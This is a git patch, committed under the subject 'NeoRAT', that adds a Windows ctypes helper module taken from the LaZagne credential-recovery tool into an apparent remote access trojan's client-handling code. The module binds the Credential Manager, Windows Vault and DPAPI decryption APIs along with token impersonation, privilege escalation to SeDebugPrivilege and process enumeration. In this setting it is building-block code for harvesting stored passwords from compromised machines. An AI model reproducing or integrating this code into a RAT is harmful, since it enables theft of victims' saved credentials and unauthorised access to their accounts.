From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:01:49 +0200 Subject: NeoRAT --- .../client_handling/lazagne/config/winstructure.py | 679 +++++++++++++++++++++ 1 file changed, 679 insertions(+) create mode 100644 foreign/client_handling/lazagne/config/winstructure.py (limited to 'foreign/client_handling/lazagne/config/winstructure.py') diff --git a/foreign/client_handling/lazagne/config/winstructure.py b/foreign/client_handling/lazagne/config/winstructure.py new file mode 100644 index 0000000..dd5de1b --- /dev/null +++ b/foreign/client_handling/lazagne/config/winstructure.py @@ -0,0 +1,679 @@ +# Vault Structure has been taken from mimikatz +from ctypes.wintypes import * +from ctypes import * + +import sys +import os + +try: + import _winreg as winreg +except ImportError: + import winreg + +LPTSTR = LPSTR +LPCTSTR = LPSTR +PHANDLE = POINTER(HANDLE) +HANDLE = LPVOID +LPDWORD = POINTER(DWORD) +PVOID = c_void_p +INVALID_HANDLE_VALUE = c_void_p(-1).value +NTSTATUS = ULONG() +PWSTR = c_wchar_p +LPWSTR = c_wchar_p +PBYTE = POINTER(BYTE) +LPBYTE = POINTER(BYTE) +PSID = PVOID +LONG = c_long +WORD = c_uint16 + +# #############################- Constants ############################## + +# Credential Manager +CRYPTPROTECT_UI_FORBIDDEN = 0x01 +CRED_TYPE_GENERIC = 0x1 +CRED_TYPE_DOMAIN_VISIBLE_PASSWORD = 0x4 + +# Regedit +HKEY_CURRENT_USER = -2147483647 +HKEY_LOCAL_MACHINE = -2147483646 +KEY_READ = 131097 +KEY_ENUMERATE_SUB_KEYS = 8 +KEY_QUERY_VALUE = 1 + +# custom key to read registry (not from msdn) +ACCESS_READ = KEY_READ | KEY_ENUMERATE_SUB_KEYS | KEY_QUERY_VALUE + +# Token manipulation +PROCESS_QUERY_INFORMATION = 0x0400 +STANDARD_RIGHTS_REQUIRED = 0x000F0000 +READ_CONTROL = 0x00020000 +STANDARD_RIGHTS_READ = READ_CONTROL +TOKEN_ASSIGN_PRIMARY = 0x0001 +TOKEN_DUPLICATE = 0x0002 +TOKEN_IMPERSONATE = 0x0004 +TOKEN_QUERY = 0x0008 +TOKEN_QUERY_SOURCE = 0x0010 +TOKEN_ADJUST_PRIVILEGES = 0x0020 +TOKEN_ADJUST_GROUPS = 0x0040 +TOKEN_ADJUST_DEFAULT = 0x0080 +TOKEN_ADJUST_SESSIONID = 0x0100 +TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY) +tokenprivs = ( + TOKEN_QUERY | TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_QUERY_SOURCE | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | ( + 131072 | 4)) +TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | + TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | + TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | + TOKEN_ADJUST_SESSIONID) + +SE_DEBUG_PRIVILEGE = 20 + + +# ############################# Structures ############################## + +class CREDENTIAL_ATTRIBUTE(Structure): + _fields_ = [ + ('Keyword', LPSTR), + ('Flags', DWORD), + ('ValueSize', DWORD), + ('Value', LPBYTE) + ] + + +PCREDENTIAL_ATTRIBUTE = POINTER(CREDENTIAL_ATTRIBUTE) + + +class CREDENTIAL(Structure): + _fields_ = [ + ('Flags', DWORD), + ('Type', DWORD), + ('TargetName', LPSTR), + ('Comment', LPSTR), + ('LastWritten', FILETIME), + ('CredentialBlobSize', DWORD), + # ('CredentialBlob', POINTER(BYTE)), + ('CredentialBlob', POINTER(c_char)), + ('Persist', DWORD), + ('AttributeCount', DWORD), + ('Attributes', PCREDENTIAL_ATTRIBUTE), + ('TargetAlias', LPSTR), + ('UserName', LPSTR) + ] + + +PCREDENTIAL = POINTER(CREDENTIAL) + + +class DATA_BLOB(Structure): + _fields_ = [ + ('cbData', DWORD), + ('pbData', POINTER(c_char)) + ] + + +class GUID(Structure): + _fields_ = [ + ("data1", DWORD), + ("data2", WORD), + ("data3", WORD), + ("data4", BYTE * 6) + ] + + +LPGUID = POINTER(GUID) + + +class VAULT_CREDENTIAL_ATTRIBUTEW(Structure): + _fields_ = [ + ('keyword', LPWSTR), + ('flags', DWORD), + ('badAlign', DWORD), + ('valueSize', DWORD), + ('value', LPBYTE), + ] + + +PVAULT_CREDENTIAL_ATTRIBUTEW = POINTER(VAULT_CREDENTIAL_ATTRIBUTEW) + + +class VAULT_BYTE_BUFFER(Structure): + _fields_ = [ + ('length', DWORD), + ('value', PBYTE), + ] + + +class DATA(Structure): + _fields_ = [ + # ('boolean', BOOL), + # ('short', SHORT), + # ('unsignedShort', WORD), + # ('int', LONG), + # ('unsignedInt', ULONG), + # ('double', DOUBLE), + ('guid', GUID), + ('string', LPWSTR), + ('byteArray', VAULT_BYTE_BUFFER), + ('protectedArray', VAULT_BYTE_BUFFER), + ('attribute', PVAULT_CREDENTIAL_ATTRIBUTEW), + # ('Sid', PSID) + ('sid', DWORD) + ] + + +class Flag(Structure): + _fields_ = [ + ('0x00', DWORD), + ('0x01', DWORD), + ('0x02', DWORD), + ('0x03', DWORD), + ('0x04', DWORD), + ('0x05', DWORD), + ('0x06', DWORD), + ('0x07', DWORD), + ('0x08', DWORD), + ('0x09', DWORD), + ('0x0a', DWORD), + ('0x0b', DWORD), + ('0x0c', DWORD), + ('0x0d', DWORD) + ] + + +class VAULT_ITEM_DATA(Structure): + _fields_ = [ + # ('schemaElementId', DWORD), + # ('unk0', DWORD), + # ('Type', VAULT_ELEMENT_TYPE), + # ('type', Flag), + # ('type', DWORD * 14), + # ('unk1', DWORD), + ('data', DATA), + ] + + +PVAULT_ITEM_DATA = POINTER(VAULT_ITEM_DATA) + + +class VAULT_ITEM_WIN8(Structure): + _fields_ = [ + ('id', GUID), + ('pName', PWSTR), + ('pResource', PVAULT_ITEM_DATA), + ('pUsername', PVAULT_ITEM_DATA), + ('pPassword', PVAULT_ITEM_DATA), + ('unknown0', PVAULT_ITEM_DATA), + ('LastWritten', FILETIME), + ('Flags', DWORD), + ('cbProperties', DWORD), + ('Properties', PVAULT_ITEM_DATA), + ] + + +PVAULT_ITEM_WIN8 = POINTER(VAULT_ITEM_WIN8) + + +# class VAULT_ITEM_WIN7(Structure): +# _fields_ = [ +# ('id', GUID), +# ('pName', PWSTR), +# ('pResource', PVAULT_ITEM_DATA), +# ('pUsername', PVAULT_ITEM_DATA), +# ('pPassword', PVAULT_ITEM_DATA), +# ('LastWritten', FILETIME), +# ('Flags', DWORD), +# ('cbProperties', DWORD), +# ('Properties', PVAULT_ITEM_DATA), +# ] +# PVAULT_ITEM_WIN7 = POINTER(VAULT_ITEM_WIN7) + +class OSVERSIONINFOEXW(Structure): + _fields_ = [ + ('dwOSVersionInfoSize', c_ulong), + ('dwMajorVersion', c_ulong), + ('dwMinorVersion', c_ulong), + ('dwBuildNumber', c_ulong), + ('dwPlatformId', c_ulong), + ('szCSDVersion', c_wchar * 128), + ('wServicePackMajor', c_ushort), + ('wServicePackMinor', c_ushort), + ('wSuiteMask', c_ushort), + ('wProductType', c_byte), + ('wReserved', c_byte) + ] + + +class CRYPTPROTECT_PROMPTSTRUCT(Structure): + _fields_ = [ + ('cbSize', DWORD), + ('dwPromptFlags', DWORD), + ('hwndApp', HWND), + ('szPrompt', LPCWSTR), + ] + + +PCRYPTPROTECT_PROMPTSTRUCT = POINTER(CRYPTPROTECT_PROMPTSTRUCT) + + +class LUID(Structure): + _fields_ = [ + ("LowPart", DWORD), + ("HighPart", LONG), + ] + + +PLUID = POINTER(LUID) + + +class SID_AND_ATTRIBUTES(Structure): + _fields_ = [ + ("Sid", PSID), + ("Attributes", DWORD), + ] + + +class TOKEN_USER(Structure): + _fields_ = [ + ("User", SID_AND_ATTRIBUTES), ] + + +class LUID_AND_ATTRIBUTES(Structure): + _fields_ = [ + ("Luid", LUID), + ("Attributes", DWORD), + ] + + +class TOKEN_PRIVILEGES(Structure): + _fields_ = [ + ("PrivilegeCount", DWORD), + ("Privileges", LUID_AND_ATTRIBUTES), + ] + + +PTOKEN_PRIVILEGES = POINTER(TOKEN_PRIVILEGES) + + +class SECURITY_ATTRIBUTES(Structure): + _fields_ = [ + ("nLength", DWORD), + ("lpSecurityDescriptor", LPVOID), + ("bInheritHandle", BOOL), + ] + + +PSECURITY_ATTRIBUTES = POINTER(SECURITY_ATTRIBUTES) + + +class SID_NAME_USE(DWORD): + _sid_types = dict(enumerate(''' + User Group Domain Alias WellKnownGroup DeletedAccount + Invalid Unknown Computer Label'''.split(), 1)) + + def __init__(self, value=None): + if value is not None: + if value not in self.sid_types: + raise ValueError('invalid SID type') + DWORD.__init__(value) + + def __str__(self): + if self.value not in self._sid_types: + raise ValueError('invalid SID type') + return self._sid_types[self.value] + + def __repr__(self): + return 'SID_NAME_USE(%s)' % self.value + + +PSID_NAME_USE = POINTER(SID_NAME_USE) + +# ############################# Load dlls ############################## + +advapi32 = WinDLL('advapi32', use_last_error=True) +crypt32 = WinDLL('crypt32', use_last_error=True) +kernel32 = WinDLL('kernel32', use_last_error=True) +psapi = WinDLL('psapi', use_last_error=True) +ntdll = WinDLL('ntdll', use_last_error=True) + +# ############################# Functions ############################## + +RevertToSelf = advapi32.RevertToSelf +RevertToSelf.restype = BOOL +RevertToSelf.argtypes = [] + +ImpersonateLoggedOnUser = advapi32.ImpersonateLoggedOnUser +ImpersonateLoggedOnUser.restype = BOOL +ImpersonateLoggedOnUser.argtypes = [HANDLE] + +DuplicateTokenEx = advapi32.DuplicateTokenEx +DuplicateTokenEx.restype = BOOL +DuplicateTokenEx.argtypes = [HANDLE, DWORD, PSECURITY_ATTRIBUTES, DWORD, DWORD, POINTER(HANDLE)] + +AdjustTokenPrivileges = advapi32.AdjustTokenPrivileges +AdjustTokenPrivileges.restype = BOOL +AdjustTokenPrivileges.argtypes = [HANDLE, BOOL, PTOKEN_PRIVILEGES, DWORD, PTOKEN_PRIVILEGES, POINTER(DWORD)] + +LookupPrivilegeValueA = advapi32.LookupPrivilegeValueA +LookupPrivilegeValueA.restype = BOOL +LookupPrivilegeValueA.argtypes = [LPCTSTR, LPCTSTR, PLUID] + +ConvertSidToStringSid = advapi32.ConvertSidToStringSidW +ConvertSidToStringSid.restype = BOOL +ConvertSidToStringSid.argtypes = [DWORD, POINTER(LPWSTR)] + +LookupAccountSid = advapi32.LookupAccountSidW +LookupAccountSid.restype = BOOL +LookupAccountSid.argtypes = [LPCWSTR, PSID, LPCWSTR, LPDWORD, LPCWSTR, LPDWORD, PSID_NAME_USE] + +LocalAlloc = kernel32.LocalAlloc +LocalAlloc.restype = HANDLE +LocalAlloc.argtypes = [PSID, DWORD] + +GetTokenInformation = advapi32.GetTokenInformation +GetTokenInformation.restype = BOOL +GetTokenInformation.argtypes = [HANDLE, DWORD, LPVOID, DWORD, POINTER(DWORD)] + +OpenProcess = kernel32.OpenProcess +OpenProcess.restype = HANDLE +OpenProcess.argtypes = [DWORD, BOOL, DWORD] + +OpenProcessToken = advapi32.OpenProcessToken +OpenProcessToken.restype = BOOL +OpenProcessToken.argtypes = [HANDLE, DWORD, POINTER(HANDLE)] + +CloseHandle = kernel32.CloseHandle +CloseHandle.restype = BOOL +CloseHandle.argtypes = [HANDLE] + +CredEnumerate = advapi32.CredEnumerateA +CredEnumerate.restype = BOOL +CredEnumerate.argtypes = [LPCTSTR, DWORD, POINTER(DWORD), POINTER(POINTER(PCREDENTIAL))] + +CredFree = advapi32.CredFree +CredFree.restype = PVOID +CredFree.argtypes = [PVOID] + +memcpy = cdll.msvcrt.memcpy +memcpy.restype = PVOID +memcpy.argtypes = [PVOID] + +LocalFree = kernel32.LocalFree +LocalFree.restype = HANDLE +LocalFree.argtypes = [HANDLE] + +CryptUnprotectData = crypt32.CryptUnprotectData +CryptUnprotectData.restype = BOOL +CryptUnprotectData.argtypes = [POINTER(DATA_BLOB), POINTER(LPWSTR), POINTER(DATA_BLOB), PVOID, + PCRYPTPROTECT_PROMPTSTRUCT, DWORD, POINTER(DATA_BLOB)] + +# these functions do not exist on XP workstations +try: + prototype = WINFUNCTYPE(ULONG, DWORD, LPDWORD, POINTER(LPGUID)) + vaultEnumerateVaults = prototype(("VaultEnumerateVaults", windll.vaultcli)) + + prototype = WINFUNCTYPE(ULONG, LPGUID, DWORD, HANDLE) + vaultOpenVault = prototype(("VaultOpenVault", windll.vaultcli)) + + prototype = WINFUNCTYPE(ULONG, HANDLE, DWORD, LPDWORD, POINTER(c_char_p)) + vaultEnumerateItems = prototype(("VaultEnumerateItems", windll.vaultcli)) + + prototype = WINFUNCTYPE(ULONG, HANDLE, LPGUID, PVAULT_ITEM_DATA, PVAULT_ITEM_DATA, PVAULT_ITEM_DATA, HWND, DWORD, + POINTER(PVAULT_ITEM_WIN8)) + vaultGetItem8 = prototype(("VaultGetItem", windll.vaultcli)) + + # prototype = WINFUNCTYPE(ULONG, HANDLE, LPGUID, PVAULT_ITEM_DATA, PVAULT_ITEM_DATA, HWND, DWORD, POINTER(PVAULT_ITEM_WIN7)) + # vaultGetItem7 = prototype(("VaultGetItem", windll.vaultcli)) + + prototype = WINFUNCTYPE(ULONG, LPVOID) + vaultFree = prototype(("VaultFree", windll.vaultcli)) + + prototype = WINFUNCTYPE(ULONG, PHANDLE) + vaultCloseVault = prototype(("VaultCloseVault", windll.vaultcli)) +except Exception: + pass + +GetModuleFileNameEx = psapi.GetModuleFileNameExW +GetModuleFileNameEx.restype = DWORD +GetModuleFileNameEx.argtypes = [HANDLE, HMODULE, LPWSTR, DWORD] + + +# ############################# Custom functions ############################## + + +def EnumProcesses(): + _EnumProcesses = psapi.EnumProcesses + _EnumProcesses.argtypes = [LPVOID, DWORD, LPDWORD] + _EnumProcesses.restype = bool + + size = 0x1000 + cbBytesReturned = DWORD() + unit = sizeof(DWORD) + dwOwnPid = os.getpid() + while 1: + ProcessIds = (DWORD * (size // unit))() + cbBytesReturned.value = size + _EnumProcesses(byref(ProcessIds), cbBytesReturned, byref(cbBytesReturned)) + returned = cbBytesReturned.value + if returned < size: + break + size = size + 0x1000 + ProcessIdList = list() + for ProcessId in ProcessIds: + if ProcessId is None: + break + if ProcessId == dwOwnPid: + continue + ProcessIdList.append(ProcessId) + return ProcessIdList + + +def LookupAccountSidW(lpSystemName, lpSid): + # From https://github.com/MarioVilas/winappdbg/blob/master/winappdbg/win32/advapi32.py + _LookupAccountSidW = advapi32.LookupAccountSidW + _LookupAccountSidW.argtypes = [LPSTR, PSID, LPWSTR, LPDWORD, LPWSTR, LPDWORD, LPDWORD] + _LookupAccountSidW.restype = BOOL + + ERROR_INSUFFICIENT_BUFFER = 122 + cchName = DWORD(0) + cchReferencedDomainName = DWORD(0) + peUse = DWORD(0) + success = _LookupAccountSidW(lpSystemName, lpSid, None, byref(cchName), None, byref(cchReferencedDomainName), + byref(peUse)) + error = GetLastError() + if not success or error == ERROR_INSUFFICIENT_BUFFER: + lpName = create_unicode_buffer(u'', cchName.value + 1) + lpReferencedDomainName = create_unicode_buffer(u'', cchReferencedDomainName.value + 1) + success = _LookupAccountSidW(lpSystemName, lpSid, lpName, byref(cchName), lpReferencedDomainName, + byref(cchReferencedDomainName), byref(peUse)) + if success: + return lpName.value, lpReferencedDomainName.value, peUse.value + + return None, None, None + + +def QueryFullProcessImageNameW(hProcess, dwFlags=0): + _QueryFullProcessImageNameW = kernel32.QueryFullProcessImageNameW + _QueryFullProcessImageNameW.argtypes = [HANDLE, DWORD, LPWSTR, POINTER(DWORD)] + _QueryFullProcessImageNameW.restype = bool + ERROR_INSUFFICIENT_BUFFER = 122 + + dwSize = MAX_PATH + while 1: + lpdwSize = DWORD(dwSize) + lpExeName = create_unicode_buffer('', lpdwSize.value + 1) + success = _QueryFullProcessImageNameW(hProcess, dwFlags, lpExeName, byref(lpdwSize)) + if success and 0 < lpdwSize.value < dwSize: + break + error = GetLastError() + if error != ERROR_INSUFFICIENT_BUFFER: + return False + dwSize = dwSize + 256 + if dwSize > 0x1000: + # this prevents an infinite loop in Windows 2008 when the path has spaces, + # see http://msdn.microsoft.com/en-us/library/ms684919(VS.85).aspx#4 + return False + return lpExeName.value + + +def RtlAdjustPrivilege(privilege_id): + """ + privilege_id: int + """ + _RtlAdjustPrivilege = ntdll.RtlAdjustPrivilege + _RtlAdjustPrivilege.argtypes = [ULONG, BOOL, BOOL, POINTER(BOOL)] + _RtlAdjustPrivilege.restype = LONG + + Enable = True + CurrentThread = False # enable for whole process + Enabled = BOOL() + + status = _RtlAdjustPrivilege(privilege_id, Enable, CurrentThread, byref(Enabled)) + if status != 0: + return False + + return True + + +def getData(blobOut): + cbData = int(blobOut.cbData) + pbData = blobOut.pbData + buffer = c_buffer(cbData) + + memcpy(buffer, pbData, cbData) + LocalFree(pbData); + return buffer.raw + + +def get_full_path_from_pid(pid): + if pid: + filename = create_unicode_buffer("", 256) + hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, int(pid)) + if not hProcess: + return False + + size = GetModuleFileNameEx(hProcess, None, filename, 256) + CloseHandle(hProcess) + if size: + return filename.value + else: + return False + + +python_version = 2 +if sys.version_info[0]: + python_version = sys.version_info[0] + + +def Win32CryptUnprotectData(cipherText, entropy=False, is_current_user=True, user_dpapi=False): + if python_version == 2: + cipherText = str(cipherText) + + decrypted = None + + if is_current_user: + bufferIn = c_buffer(cipherText, len(cipherText)) + blobIn = DATA_BLOB(len(cipherText), bufferIn) + blobOut = DATA_BLOB() + + if entropy: + bufferEntropy = c_buffer(entropy, len(entropy)) + blobEntropy = DATA_BLOB(len(entropy), bufferEntropy) + + if CryptUnprotectData(byref(blobIn), None, byref(blobEntropy), None, None, 0, byref(blobOut)): + decrypted = getData(blobOut).decode("utf-8") + + else: + if CryptUnprotectData(byref(blobIn), None, None, None, None, 0, byref(blobOut)): + decrypted = getData(blobOut).decode("utf-8") + + if not decrypted: + can_decrypt = True + if not (user_dpapi and user_dpapi.unlocked): + from foreign.client_handling.lazagne.config.dpapi_structure import are_masterkeys_retrieved + can_decrypt = are_masterkeys_retrieved() + + if can_decrypt: + decrypted = user_dpapi.decrypt_encrypted_blob(cipherText) + if decrypted is False: + decrypted = None + else: + raise ValueError('MasterKeys not found') + + if not decrypted: + if not user_dpapi: + raise ValueError('DPApi unavailable') + elif not user_dpapi.unlocked: + raise ValueError('DPApi locked') + + return decrypted + + +def get_os_version(): + """ + return major anr minor version + https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832(v=vs.85).aspx + """ + os_version = OSVERSIONINFOEXW() + os_version.dwOSVersionInfoSize = sizeof(os_version) + retcode = windll.Ntdll.RtlGetVersion(byref(os_version)) + if retcode != 0: + return False + + return '%s.%s' % (str(os_version.dwMajorVersion.real), str(os_version.dwMinorVersion.real)) + + +def isx64machine(): + archi = os.environ.get("PROCESSOR_ARCHITEW6432", '') + if '64' in archi: + return True + + archi = os.environ.get("PROCESSOR_ARCHITECTURE", '') + if '64' in archi: + return True + + return False + + +def OpenKey(key, path, index=0, access=KEY_READ): + if isx64: + return winreg.OpenKey(key, path, index, access | winreg.KEY_WOW64_64KEY) + else: + return winreg.OpenKey(key, path, index, access) + + +isx64 = isx64machine() + + +def string_to_unicode(string): + if python_version == 2: + return unicode(string) + else: + return string # String on python 3 are already unicode + + +def chr_or_byte(integer): + if python_version == 2: + return chr(integer) + else: + return bytes([integer]) # Python 3 + + +def int_or_bytes(integer): + if python_version == 2: + return integer + else: + return bytes([integer]) # Python 3 + + +def char_to_int(string): + if python_version == 2 or isinstance(string, str): + return ord(string) + else: + return string # Python 3 + + +def convert_to_byte(string): + if python_version == 2: + return string + else: + return string.encode() # Python 3 -- cgit v1.2.3